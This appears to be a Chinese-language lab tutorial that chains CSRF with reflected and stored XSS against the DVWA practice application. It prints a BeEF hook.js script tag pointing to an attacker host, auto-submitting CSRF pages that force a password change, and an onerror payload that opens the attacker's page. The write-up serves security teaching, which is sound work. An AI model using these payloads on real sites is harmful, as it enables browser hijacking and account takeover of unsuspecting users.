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先介绍下这两个漏洞：
CSRF
CSRF是跨站请求伪造攻击，由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认 。
简单理解：
攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等。
XSS
跨站脚本攻击XSS(Cross Site Scripting)，恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击。
实验：
环境：
开启代理（8008）
靶场dvwa+CSRFTester工具+BEFF-XSS
CSRF与反射型xss的第一拳
1、构造poc
构造恶意xss：
<script src="http://(beef-xss平台的IP):3000/hook.js"></script>
构造csrf代码：
这个工具会抓取浏览器所有的流量，只需保留我们需要的那一部分，然后红色标记可以取消，因为选中它后面构造的poc可能不能使用，随后点击蓝色标记，生成poc。
将构造的poc后插入倒数第四行的内容：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "23" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://192.168.1.5:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.26.153:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.26.153:3000/hook.js'></script>"/>
</form>
</body>
</html>
将上面代码放到本地 Web 服务中，打开其他浏览器，登陆其他账户，再打开我们构造的 CSRF 链接。
http://本地web平台的IP/csrf.html
beef-xss平台接收到信息：
CSRF与存储型XSS的第二拳：
构建poc
修改我们的poc:(最后一个input标签内容)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "36" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<form method="GET" name="form0" action="http://192.168.1.5:80/dvwa/vulnerabilities/csrf/?password_new=1111&password_conf=1111&Change=Change">
<input type="hidden" name="password_new" value="111"/>
<input type="hidden" name="password_conf" value="111"/>
<input type="hidden" name="Change" value="Change"/>
</form>
</body>
</html>
构造xss代码：
<script src="x" onerror=javascript:window.open("http://192.168.1.4/csrf.html")></script>
在 XSS (Stored) 模块下，插入 XSS 代码，当然了前提 Security Level 要设置为 low。
在 DVWA 中会碰到 POC 太长而无法输入完全的情况，在前端页面修改maxlength 值设；置大一点即可，我设置了 500.
点击 sign guestbook 按钮，POC 就会被插进去了，之后用其他浏览器登陆其他用户，访问存储型 XSS 模块页面，（ 安全等级要设置为 low）
访问页面后，浏览器会自动跳转，同时返回修改密码的界面，如果弹出页面显示如上图中的 Password Changed 字样，就说明受害者的密码修改成功了，而这也仅仅是因为受害者点击了一个页面。